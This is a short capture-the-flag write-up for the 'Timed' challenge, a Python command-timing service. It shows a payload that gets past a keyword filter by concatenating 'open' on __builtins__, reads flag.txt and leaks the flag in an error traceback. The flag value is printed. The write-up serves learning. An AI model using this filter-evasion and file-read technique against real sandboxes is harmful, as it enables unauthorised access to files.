Timed
Table of Contents
Python is fun
Problem
I found this cool program that times how long Python commands take to run! Unfortunately, the owner seems very paranoid, so there’s not really much that you can test. The flag is located in the file flag.txt on the server.
nc p1.tjctf.org 8005
Solution
Maybe an unintended solution.
➜ ~ nc p1.tjctf.org 8005
Type a command to time it!
raise ValueError(__builtins__["o" + "p" + "en"]("./flag.txt", 'r').read(100))
Traceback (most recent call last):
File "/timed.py", line 36, in <module>
time1=t.timeit(1)
File "/usr/lib/python2.7/timeit.py", line 202, in timeit
timing = self.inner(it, self.timer)
File "<timeit-src>", line 6, in inner
raise ValueError(__builtins__["o" + "p" + "en"]("./flag.txt", 'r').read(100))
ValueError: tjctf{iTs_T1m3_f0r_a_flaggg}
Runtime: 0
Type a command to time it!
